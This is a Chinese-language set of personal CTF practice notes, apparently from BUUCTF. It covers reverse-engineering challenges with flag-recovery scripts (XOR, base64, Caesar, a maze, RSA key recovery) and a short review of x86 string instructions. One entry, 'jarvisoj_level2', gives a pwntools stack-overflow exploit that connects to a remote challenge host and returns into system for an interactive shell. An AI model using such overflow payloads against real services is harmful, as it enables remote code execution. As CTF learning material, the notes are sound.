rerere
reverse1
1.shift+f12查看下字符串,发现可疑
跟踪到
2.关键Str2={hello_world},不过上面有个for循环替换了部分字母。
把o换成数字0。
3.得出flag。2021.4.3
reverse2
完。2021.4.4
内涵的软件
1.无壳
2.拖进OD
3.完。2021.4.6
新年快乐
1.查壳
2.IDA里走一走
3.完。2021/4/6
补充复习指令
movsb
MOVSB即字符串传送指令,这条指令按字节
传送数据。通过SI和DI这两个寄存器控制字符串的源地址和目标地址,比如DS:SI
这段地址的N个字节复制到ES:DI
指向的地址,复制后DS:SI的内容保持不变。
stosb
该指令为单字符
输出指令,调用该指令后,可以将累加器AL
中的值传递到当前ES段的DI地址处
,并且根据DF的值来影响DI的值,如果DF为0,则调用该指令后,DI自增1。
scasb
REPNE SCASB是不相等则重复查找的字符串搜索指令,如果找到,ZF=1则退出指令的执行;如果没找到,已全部找遍则退出。因每执行一次SCASB指令后,DI内容增1,而找到字符在字符串缓冲区中的地址,应该是增1以前的DI中的内容,所以要执行DEC ID指令,回到字符串中的“$”字符所在地址。
helloword
APK第一次接触 ,工具安装好查Main函数,直接flag告诉你。
xor
1.无壳,查看main
2.查看global数据
3.xor还原
str1 = ['f',0x0A,'k',0x0C,'w','&','O','.','@',0x11,'x',0x0D,'Z',';','U',0x11,'p',0x19,'F',0x1F,'v','"','M','#','D',0x0E,'g',6,'h',0x0F,'G','2','O']
flag = 'f'
for i in range(1,len(str1)):
if(isinstance(str1[i],str)):
if(isinstance(str1[i-1],str)):
flag += chr(ord(str1[i])^ord(str1[i-1])) #同是str类型
else:
flag +=chr(ord(str1[i])^str1[i-1]) #前str型,后int型
else:
flag += chr(str1[i]^ord(str1[i-1])) #前int型,后str型
print(flag)
reverse3
1.逆过程即可得出str
2.str加密的函数
最后结果,可判断时base64加密。
3.str2内容
4.实现逆过程
import base64
str1 = 'e3nifIH9b_C@n@dH'
temp = ''
flag = ''
for i in range(0,len(str1)):
temp += chr(ord(str1[i]) - i)
flag = base64.b64decode(temp)
flag = flag.decode('ASCII')
print(flag)
不一样的flag
1.无壳,跑起来看看
操作上下左右,推测迷宫游戏。
2.搜索字符串
共25个数字,正好5X5的地图
0可走,1不可走。
IDA中验证走迷宫猜想:
(v4,v5)即初始起点(0,0)。
4.正确路线
222441144222
上面路线就是flag
SimpleRev
1.查看文件信息,小端序
2.IDA查看加密函数
3.加密算法
str2[v2] = (v1 - 39 - key[v3++ % len(key)] + 97) % 26 + 97;
v1换成flag[i]则,
flag[i] = str2[v2] - 97 + 26*j - 97 +key[v3%v5] +39
j的范围(0,10),10也可以换成大点数不过不影响了。
4.解密
text = "killshadow"
key = "ADSFKNDCLS"
key1 = ""
flag = ""
for i in key:
key1 += chr(ord(i) + 32)
v3 = 0
v5 = len(key1)
for i in range(0,len(text)):
for j in range(0,10):
str = ord(text[i])-97 + 26*j - 97 +ord(key1[v3%v5]) +39
if(str >=65 and str <=90 or str >=97 and str <= 122):
flag += chr(str)
break
v3 += 1
print(flag)
Java逆向解密
1.IDEA打开,查看关键加密
2.逆推arr[i]
strs = [180, 136, 137, 147, 191, 137, 147, 191,
148, 136, 133, 191, 134, 140, 129, 135, 191, 65]
flag = ""
for i in range(0,len(strs)):
flag += chr(strs[i] - 64^32)
print(flag)
luck_guy
1.无壳,elf文件。
2.执行一遍,了解大概流程。
3.关键函数
3.逆推脚本
f1='GXY{do_not_'
s0='fo`guci' #小端序
s=s0[::-1] #[::-1]从最后一个元素到第一个元素复制一遍,即倒序。
print(s)
key=""
flag=""
for i in range(8):
if i%2==1:
key+=chr(ord(s[i])-2)
else:
key+=chr(ord(s[i])-1)
flag=f1+key
print(flag)
jarvisoj_level2
2.
3.exp
from pwn import *
sh = remote('node3.buuoj.cn',25404)
#sh = process('./level2')
payload = b'a'*0x88 + p32(0xdeadbeef) + p32(0x8048320)+p32(0xdeadbeef)+p32(0x804a024)
sh.sendline(payload)
sh.interactive()
findit
又是安卓的题目,用APKIDE打开。
1.main里面发现奇怪的字符串
2.转换成字符串
str1 = [0x70,
0x76,
0x6b,
0x71,
0x7b,
0x6d,
0x31,
0x36,
0x34,
0x36,
0x37,
0x35,
0x32,
0x36,
0x32,
0x30,
0x33,
0x33,
0x6c,
0x34,
0x6d,
0x34,
0x39,
0x6c,
0x6e,
0x70,
0x37,
0x70,
0x39,
0x6d,
0x6e,
0x6b,
0x32,
0x38,
0x6b,
0x37,
0x35,
0x7d,
]
x = ""
for i in str1:
x += chr(i)
print(x)
3.凯撒密码解密
位移一个一个试出来的。
简单注册器
1.apk
JustRe
1.IDA搜索String
2.交叉引用
3.两个%d的值
19999和0,带入BJD得出flag
RSA
文件夹里面就两个文件,一个flag,一个pub.key公钥。
解决:通过公钥得出 q,p,n,e获得private私钥去获得flag。
利用kali里面的工具openssl获得相关数据(把pub的后缀改为.pem):
openssl使用方法说明
openssl rsa -pubin -text -modulus -in warmup -in pub.pem
n转成十进制,利用在线工具获得q,p在线工具http://www.factordb.com
利用rsatool工具生成私钥https://github.com/ius/rsatool安装地址(gmpy2记得安装依赖放报错 sudo apt-get install libmpc-dev )
python3 rsatool.py -o private.pem -e 65537 -p 285960468890451637935629440372639283459 -q 304008741604601924494328155975272418463
利用生成的private私钥解密flag.enc
openssl rsautl -decrypt -in flag.enc -inkey private.pem
bingo!!
[ACTF新生赛2020]easyre
1,查壳
UPX壳
upx -d easyre.exe //脱掉
2,拖进IDA
MAIN函数
已知V4,V6和_data_start 求v5即flag。
IDA中H查值,R转换显示形式,可见V4数值。
v4 = [42,70,39,34,78,44,34,40,73,63,43,64] #v4列表
#r:防特殊字符转义
str = r'~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('+chr(0x27)+r'&%$# !"'
s=[]
flag1 = ''
for i in v4:
print(i)
s.append(str.find(chr(i))+1) #V4中find下标+1,即V5
print(s)
for i in s:
flag1 += chr(i)
print(flag1)
CrackRTF
1,无壳子,直接IDA32
大概流程:
输入两次密码,都正确的话应该就出flag。
2,进入第一个加密函数,sub_40100A。
猜测HASH加密,具体哪种查找WINDOWS API手册查找
在线解密
(也可以脚本爆破,参考了其他同学的wp范围都直接给出,不太清楚所以就没用脚本方法)这里在线sha1解密没免费的不出结果,MD5反倒可以。
第一次密码:
123321
3,sub_40100A
和sub_401019
加密方式是相似的,只是key不同。
下面逆推分析第二次输入密码。
突破口sub_40100F
函数
此函数功能大致流程:获取AAA资源的内容,lpString是前面传入的Str,即第二次输入的密码,长度位6(后面会用到),经sub_401005函数处理AAA资源内容和Str处理,生产.rtf文件(点题,RTF)。
可以用工具去查看.rtf文件的后缀
工具名:Resource_Hacker(资源网上找哈,好多)
自己创建个文件随便添加点东西改后缀名字.rtf
(取前六个字符)
同时用此工具查看 自身文件资源:(也取前6个字节)
运算规则(异或):
result = '{\\rtf1' #\python中特殊字符\转义
a2 = [0x05,0x7D,0x41,0x15,0x26,0x01] #AAA资源里面读取的
flag=''
for i in range(0,len(result)):
x = ord(result[i])^a2[i] #ord()函数 字符转为ASCII码
flag += chr(x)
print(flag)
~!3a@0
3.输入两次正确密码,生产.rtf文件(内含flag)
总结:整体流程分析不难,难的是解密…理解了很久。
[2019红帽杯]easyRE
1,先给参考吧,这题有点坑,答案ez过程一点不ez。
参考:https://www.freesion.com/article/5037732979/
2,IDA分析,第一反应看start函数
一个一个分析,进入sub_4009C6()函数
关键off_6CC090
3,真实flag位置
关于流程为什么会走到这里很奇怪,下面给出参考解释:
而.fini段的解释是:
此节区包含了可执行的指令,是进程终止代码的一部分。
程序正常退出时,系统将安排执行这里的代码。
4,解密flag
s = [0x40,0x35,0x20,0x56,0x5D,0x18,0x22,0x45,0x17,0x2F,0x24,0x6E,0x62,
0x3C,0x27,0x54,0x48,0x6C,0x24,0x6E,0x72,0x3C,0x32,0x45,0x5B]
s1 = 'flag'
key = ''
flag = ''
for i in range(4):
key += chr(s[i] ^ ord(s1[i]))
for j in range(len(s)):
flag += chr(s[j] ^ ord(key[j%4]))
print(flag)